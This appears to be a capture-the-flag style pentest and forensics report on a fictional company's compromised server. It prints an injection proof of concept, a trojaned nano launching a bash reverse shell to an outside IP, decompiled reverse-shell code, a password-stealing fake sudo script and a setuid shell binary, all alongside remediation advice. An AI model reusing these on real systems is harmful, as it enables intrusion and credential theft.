# Management Summary

FZT has been commissioned by VeSe NP to provide a security audit/assessment of VeSe NP deployed windmill infrastructure with a remote network-based security assessment.

The goal of such an assessment is to identify vulnerabilities that an attacker can exploit to compromise systems or the data stored on them, to gain access to sensitive information, or to compromise their availability.

## Examination result

As part of the security assessment a critical vulnerability which can be exploited by an anonymous Internet attacker with minimal effort to compromise the confidentiality, availability and integrity of the system and its data was identified. In addition, vulnerabilities have been identified that may be helpful for an attacker in order to gain further access to the whole infrastructure.

The most urgent needed measures are as follows:

- Apply the suggested fixes to the vulnerable applications, in case this is not possible temporarily remove the remote access to the systems
- Implement a password policy and the use of a password manager for passwords

To operate the systems with the highest possible degree of safety FZT recommends the implementation of all measures documented in Security Audit Findings and continue to carry out a regular safety-related checks to the entire infrastructure of VeSe.

# Introduction

The test was carried out as a “White Box” security assessment, so with valid access data and a detailed knowledge of the system landscape over the internet and the internal network.

The following information was provided by VeSe:

- Hostnames and IP address of the target of investigation
- Source code to all parts of the infrastructure deployed
- A network capture of the traffic during the attack (provided as a PCAP file)

The client also offered support during the whole assessment, when certain parts were unclear during the engagement.

## Object of Investigation

The following IP addresses were provided by the client for this assessment:

| IP address    |
|---------------|
| 13.40.105.124 |

The following website targets were provided by the client for the assessment:

| Hostname          | IP address    |
|-------------------|---------------|
| vese.com          | 13.40.105.124 |
| internal.vese.com | 13.40.105.124 |
| contact.vese.com  | 13.40.105.124 |

## Investigation Period

The investigation was solely carried out on saturday the 11/19/2022.

## Rules of Engagement

Since the targets are systems in production, security could only be examined to a certain extent. The following rules were agreed before the start of the test and taken into account during the attack phase:

- The system being the last one available, so the system would not die
- No downloads of anything from the internet
- No installation of any application

## Limits of the Tests performed

A security investigation has the goal to uncover security vulnerabilities and recommend measures to remedy the situation.

Maintaining system and network security is a dynamic process as new weaknesses in IT systems are exposed each day. The tests performed should therefore not be taken as a guarantee that the systems are permanently immune to any kind of attack.

The test results should therefore be considered as a snapshot of system security. Changes to the systems after performing the tests may result in a positive or negative change in system security. It is therefore recommended to conduct security investigations after any major configuration change.

Furthermore, safety investigations should be repeated at regular intervals. Only in this way can it be ensured that the systems are adequately protected against current attacks.

## Security Audit Findings

## Identified vulnerabilities

## Command Injection – Docker application “pseudo-terminal” (CRITICAL)

| Description:             | <p>The command injection attack defines the execution of arbitrary commands on the host operating system. This is achieved through a vulnerable application.</p> <p>Due to an improper or insufficient input validation the user can pass unsafe data to the system shell. For this, the attacker can supply shell commands, which are executed with the same permissions as the vulnerable application is executed as.</p> <p>In this case the vulnerable application exposes the user the ability to change the banner that is shown to the user. This banner could be modified using the <b>banner -s</b> command. When user input is provided, it is sent to the shell directly without any sanitization or validation of the provided user data.</p> <p>An exploitation of this vulnerability can be exploited in the proof-of-concept section down below.</p> |                   |      |          |                          |      |     |
|--------------------------|---|-------------------|------|----------|--------------------------|------|-----|
| Impact:                  | <p><b>Critical (9.8)   <a href="#">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></b></p> <p>This vulnerability can be exploited fully remote without any prior knowledge of the underlying system, nor any credentials needed.</p>   |                   |      |          |                          |      |     |
| System:                  | <p>Docker container for application “<b>pseudo-terminal</b>”</p> <table><tr><th>IP address / Host</th><th>Port</th><th>Protocol</th></tr><tr><td>13.40.105.124 / vese.com</td><td>6969</td><td>TCP</td></tr></table>  | IP address / Host | Port | Protocol | 13.40.105.124 / vese.com | 6969 | TCP |
| IP address / Host        | Port  | Protocol          |      |          |                          |      |     |
| 13.40.105.124 / vese.com | 6969  | TCP               |      |          |                          |      |     |
| References:              | <ul style="list-style-type: none"><li>OWASP Command Injection: <a href="https://owasp.org/www-community/attacks/Command_Injection">https://owasp.org/www-community/attacks/Command_Injection</a></li><li>PortSwigger OS command injection: <a href="https://portswigger.net/web-security/os-command-injection">https://portswigger.net/web-security/os-command-injection</a></li></ul>  |                   |      |          |                          |      |     |

## Exploitation Proof of Concept

```
$ telnet 13.40.105.124 6969  
[...]  
> banner -s flag && cat /host/flag.txt  
Banner set to flag && cat /host/flag.txt correctly. Run `banner` again to  
display.  
> banner
```

## Remediation

|         |   |
|---------|---|
| Who:    | IT-Team & development team of the application   |
| Action: | <p>Sanitize the user input before passing the arguments directly to the function call of <code>cmd_banner()</code> found in <code>pseudo-terminal/switch.py</code>.</p> <p>The vulnerability lies in the function in line 83, where the user provided text is passed to a <code>os.popen()</code> call.</p> <pre>cmd = "figlet {}".format(self.banner_text) return str(os.popen(cmd).read()).encode('utf-8'), STATUS_ALIVE</pre> <p>Here it is possible to see that <code>self.banner_text</code> is directly formatted into a new variable with the name <code>cmd</code>. This variable is then passed to <code>os.popen()</code>.</p> <p>To fix this issue the <code>banner_text</code> can be sanitized here before being added to the <code>cmd</code> variable. This is also possible at another point of the function. When banner -s is used to change the content of the <code>banner_text</code> variable, the validation of user input can be performed as well.</p> <p>One way to validate the user input is to validate that the input contains only alphanumeric characters, no other syntax. In that case input like <code>;</code> or <code>&amp;</code> would not be allowed and therefore the command injection would be limited.</p> <p>Another way to fix the vulnerability would be to use a Python library that can provide the same or at least similar functionality to for the program.</p> <p>If a fix for this vulnerability is not possible to implement, the author recommends that the feature of changing the banner text should be deactivated.</p> <p>Further links:</p> <ul style="list-style-type: none"> <li>PyFiglet: <a href="https://pypi.org/project/pyfiglet/0.7/">https://pypi.org/project/pyfiglet/0.7/</a></li> </ul> |

## SQL Injection – Internal login page (HIGH)

| Description:                      | <p>The SQL Injection vulnerability is a web security vulnerability that allows an attacker to interfere with SQL queries that an application performs for its functionality.</p> <p>It allows the attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.</p> <p>This can also allow the attack to bypass authentication measures and login as any user to the application. In some situations, an attacker can escalate an SQL injection attack to compromise the underlying server or other backend infrastructure.</p> <p>In this case the vulnerable application provides a login mask to the user, where the input field <b>username</b> is vulnerable to a SQL Injection.</p> |          |  |                   |      |          |                                   |    |     |
|-----------------------------------|---|----------|--|-------------------|------|----------|-----------------------------------|----|-----|
| Impact:                           | <p><b>High (7.5)   <a href="#">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></b></p> <p>This vulnerability can be exploited fully remote without any prior knowledge of the underlying system, nor any credentials needed.</p>   |          |  |                   |      |          |                                   |    |     |
| System:                           | <table><tr><th>IP address / Host</th><th>Port</th><th>Protocol</th></tr><tr><td>13.40.105.124 / internal.vese.com</td><td>80</td><td>TCP</td></tr></table>  |          |  | IP address / Host | Port | Protocol | 13.40.105.124 / internal.vese.com | 80 | TCP |

## Remediation

|         |   |
|---------|---|
| Who:    | IT Team & development team of the application   |
| Action: | <p>The vulnerabilities can be found in the <b>login.php</b> file. In line 28 the vulnerable query is initialized and in line 29 it is filled with the user provided data.</p> <pre>\$sqlQuery = "SELECT * FROM users.users WHERE password=('%s') AND username=('%s')"; \$query = create_query(\$sqlQuery, array(\$pwdmd5, \$username));</pre> <p>At a close inspection is it possible to the that the password field is not vulnerable to a SQL injection, since it is first hashed into MD5 and then put into the query.</p> <p>When looking at the <b>username</b> field it is possible to see that it gets input as is into the query.</p> <p>With the provided PoC found above, the new query looks as following (yellow is the user-controlled input):</p> <pre>SELECT * FROM users.users WHERE password=('<b>&lt;hash&gt;</b>') AND username=('<b>admin</b>') or ('1' = 1')</pre> <p>To fix the issue the following can be done:</p> <ul style="list-style-type: none"> <li>▪ Use prepared statements with bound variables. They are provided by PDO, by MySQLi and by other libraries.</li> <li>▪ If the database layer doesn't support binding variables then quote each non numeric user supplied value that is passed to the database with the database-specific string escape function (in this case this would be <code>mysql_real_escape_string()</code>)</li> </ul> <p>Further references:</p> <ul style="list-style-type: none"> <li>▪ <a href="https://www.php.net/manual/en/security.database.sql-injection.php">https://www.php.net/manual/en/security.database.sql-injection.php</a></li> <li>▪ <a href="https://www.php.net/manual/en/pdo.prepared-statements.php">https://www.php.net/manual/en/pdo.prepared-statements.php</a></li> <li>▪ <a href="https://www.php.net/manual/en/function.mysql-real-escape-string.php">https://www.php.net/manual/en/function.mysql-real-escape-string.php</a></li> <li>▪ <a href="https://www.php.net/manual/en/mysqli.quickstart.prepared-statements.php">https://www.php.net/manual/en/mysqli.quickstart.prepared-statements.php</a></li> </ul> |

## Password Reuse – Backend (HIGH)

| Description:  | <p>Password reuse is a problem where people try to remember multiple passwords for everything they interact with on a regular basis, but instead use the same password on multiple systems, tiers of applications, or even social sites.</p> <p>If a password is compromised, it can be correlated by username or email address to other services that are potentially using the same password, thus propagating the threat.</p> <p>Every system, every application, and every service should have a unique password all the way down to every router, switch, and IP camera in an organization.</p> <p>Administrators should consider secure password storage solutions with automatic rotation of passwords and workflow.</p> <p>In this case a password of an admin user was found on the system. It was possible to determine that this password is used multiple times throughout the system. Because of that escalating the privileges root (user with highest permissions) was possible in a short time.</p> |            |      |          |               |   |     |
|---------------|---|------------|------|----------|---------------|---|-----|
| Impact:       | <p><b>High (7.5)   <a href="#">CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></b></p> <p>This vulnerability can be exploited fully remote without any prior knowledge of the underlying system, but for that first the credentials belonging to the user johnsysadmin have to be discovered.</p>  |            |      |          |               |   |     |
| System:       | <table><tr><th>IP address</th><th>Port</th><th>Protocol</th></tr><tr><td>13.40.105.124</td><td>-</td><td>TCP</td></tr></table>  | IP address | Port | Protocol | 13.40.105.124 | - | TCP |

### Exploitation Proof of Concept

For the service of **mosquitto** the password **eL\_XXXMaS** was found to be used by accessing the **dotenv** file inside the **mqtt\_server/subscriber** directory.

```
1 ADDR=api
2 PORT=8000
3 MQTT_ADDR=mqtt_broker
4 MQTT_PORT=1883
5 MOSQUITTO_USER=patron
6 MOSQUITTO_PWD=eL_XXXXXXXXXXXXXXXXXXXXMaS
```

Figure 3: Disclosed password found in **mqtt\_servers/subscriber/.env**

When trying to use the same password as a login password for other users found on the system, the login for **johnsysadmin** succeeded. As this user is part of the sudo group, access from this user to root was trial, as only **/bin/sudo su -i** had to be executed.

## Remediation

|         |   |
|---------|---|
| Who:    | Sysadmin and owner of user account <code>johnsysadmin</code>  |
| Action: | <p>The usage of a password manager for storing passwords is recommended, to mitigate the risk of password reuse. Additionally, passwords that are used for administrator accounts should never be used for services running on the server when the password is stored in clear text.</p> <p>To remediate the current situation all user and service passwords must be changed immediately. This is important as the attacker has access to the current used passwords of the user <code>johnsysadmin</code>.</p> <p>Additionally the file <code>/home/johnsysadmin/.locale/fsudo</code> must be removed from the system, as this programs writes the admin password of johnsysadmin to a file, every time it is used. More information on this application can be found in the following chapter <a href="#">Modified fsudo binary</a>.</p> |

## Possible Exploitation Paths

After a successful exploitation of the terminal application the attack is able to access the **home directory** of johnsysadmin. The author assumes that because of this access to the host system, the attacker was able to write a fake **fsudo** script to the **.locale** folder of **johnsysadmin**.

After john used his password to get root access, his password was probably cached to the **/etc/pass.txt** file, which can be used by the attacker.

After that full root access to the attacker is a matter of a few commands.

## Persistence Methods used by the attacker

The attacker is using a few methods for a persistent access to the system. In addition to that some modified binaries were identified during the investigation.

Modified nano binary

A modified nano binary was found in the following directory **/usr/local/bin/nano**:

```
$ which nano
/usr/local/bin/nano

$ cat /usr/local/bin/nano
#!/bin/bash
bash -i >& /dev/tcp/54.121.44.208/13337 0>&1 & 2>/dev/null
/bin/date
```

As can be seen from this output, the currently used nano file tries to connect to the following endpoint **54.121.44.208:13337** via a so called reverse shell. This would mean that everytime the user tried to access the nano command, the attacker gets a shell with the users permissions instead.

This file should be removed from the system immediately. As nano is a commonly used tool to edit text files on the CLI of a linux based system.

Modified anew binary

When looking at existing cron jobs for the root user, an entry can be determined.

```
59 23 * * * root /usr/bin/anew
```

This runs the binary **/usr/bin/anew** every day at 23:59. After a short disassembling of the binary the following pseudo code can be obtained:

```

local_10 = *(long *) (in_FS_OFFSET + 0x28);
__fd = socket(2,1,0);
local_38.sa_family = 2;
local_38.sa_data._0_2_ = htons(13373);
local_38.sa_data._2_4_ = inet_addr("10.10.10.10");
connect(__fd,&local_38,0x10);
dup2(__fd,0);
dup2(__fd,1);
dup2(__fd,2);
local_28 = "/bin/sh";
local_20 = 0;
execve("/bin/sh",&local_28,(char **)0x0);
printf("Key: r55GbKoQJ4sYBrVZh8gcKjzMve0TV0og");
printf("5aa763ea5293b958f68609bbdf18661c70c69c0c92548838e40806b1be0b6564");
if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
}

```

Figure 4: Decompiled view of the main function of **anew**

As can be seen from the decompiled view a connection to the host 10.10.10.10:13373 is made. This way the attacker gets a reliable way to get a reverse shell that will restart every day.

Modified fsudo binary

When executing the sudo command when logged in as the **johnsysadmin** user, the first time the password is entered a warning message appears. This is because the first time the password is not passed to sudo, but it is written to a file on the system. That file being **/etc/pass.txt**. This can be seen from the following content of the modified **fsudo** application:

```

$ cat fsudo
read -sp "[sudo] password for $USER: " sudopass
echo ""
#991b5887ab76f9fa6061ee44d2d20a8e42de631308853f38f5883e36c8b1d3bc
sleep 2
echo "Sorry, try again."
echo $sudopass >> /etc/pass.txt

/usr/bin/sudo $@

```

This binary was found in the following location: **/home/johnsysadmin/.locale/fsudo** and should be removed immediately.

“creanme” binary

In side the **.locale** directory of the user **smb** an executable **creanme** was found. After a quick search translation from spanish the meaning of that was found to be **believe me**.

When taking a closer look at the binary the following code can be obtained:

```
undefined8 main(void)
{
    setresuid(0,0,0);
    system("/bin/sh");
    return 0;
}
```

## Erase of evidence

The attacker tried removing some evidence, by deleting the `.bash_history` file of the root user, which did not succeed.

```
ls -la
cat .lessht
cat .bash_history
echo "" > .bash_history
ls
```

# Appendix

## Finding Severity Ratings

The following table defines levels of severity and corresponding CVSS score range that are used throughout the document to assess vulnerability and risk impact.

| Severity      | CVSS V3 Score Range | Definition   |
|---------------|---------------------|--|
| Critical      | 9.0-10.0            | Exploitation is straightforward and usually results in system-level compromise. It is advised to form a plan of action and patch immediately.  |
| High          | 7.0-8.9             | Exploitation is more difficult but could cause elevated privileges and potentially a loss of data or downtime. It is advised to form a plan of action and patch as soon as possible.             |
| Moderate      | 4.0-6.9             | Vulnerabilities exist but are not exploitable or require extra steps such as social engineering. It is advised to form a plan of action and patch after high-priority issues have been resolved. |
| Low           | 0.1-3.9             | Vulnerabilities are non-exploitable but would reduce an organization's attack surface. It is advised to form a plan of action and patch during the next maintenance window.                      |
| Informational | N/A                 | No vulnerability exists. Additional information is provided regarding items noticed during testing, strong controls, and additional documentation.   |

## Used tools

| Name                   | Version        | Description                           |
|------------------------|----------------|---------------------------------------|
| Arch Linux             | 6.0.8-arch1-1  | Operating System                      |
| BurpSuite Professional | v2022.8.4      | Application Security Testing Software |
| LinPEAS                | 20221113       | Linux Privilege Escalation            |
| Ghidra                 | 10.2.2 dev     | Reverse Engineering Framework         |
| Wireshark              | 4.0.1          | Network Protocol Analyzer             |
| Nmap                   | 7.92           | Network Portscanner                   |
| Binwalk                | 2.3.3          | Firmware Analysis Tool                |
| Chrome                 | 104.0.5112.101 | Web browser                           |
| Curl                   | 7.83.1         | CLI data transfer over network        |
| Firefox                | 104.0.2        | Web browser                           |

## Disclaimer

We did not include a write up to every flag we found, only the most important once, as well as those with the highest impact on the system.

We had a lead on the flag that is stored in `/root/vese-admin/logs`, but could not solve that in time.

The encrypted flag is this one:

9c9d0ea76e72a58e0ccd45f2c56f2e7771cf3ed59b6ab433780e1deb2372bf19

All the flags we found can be found here:
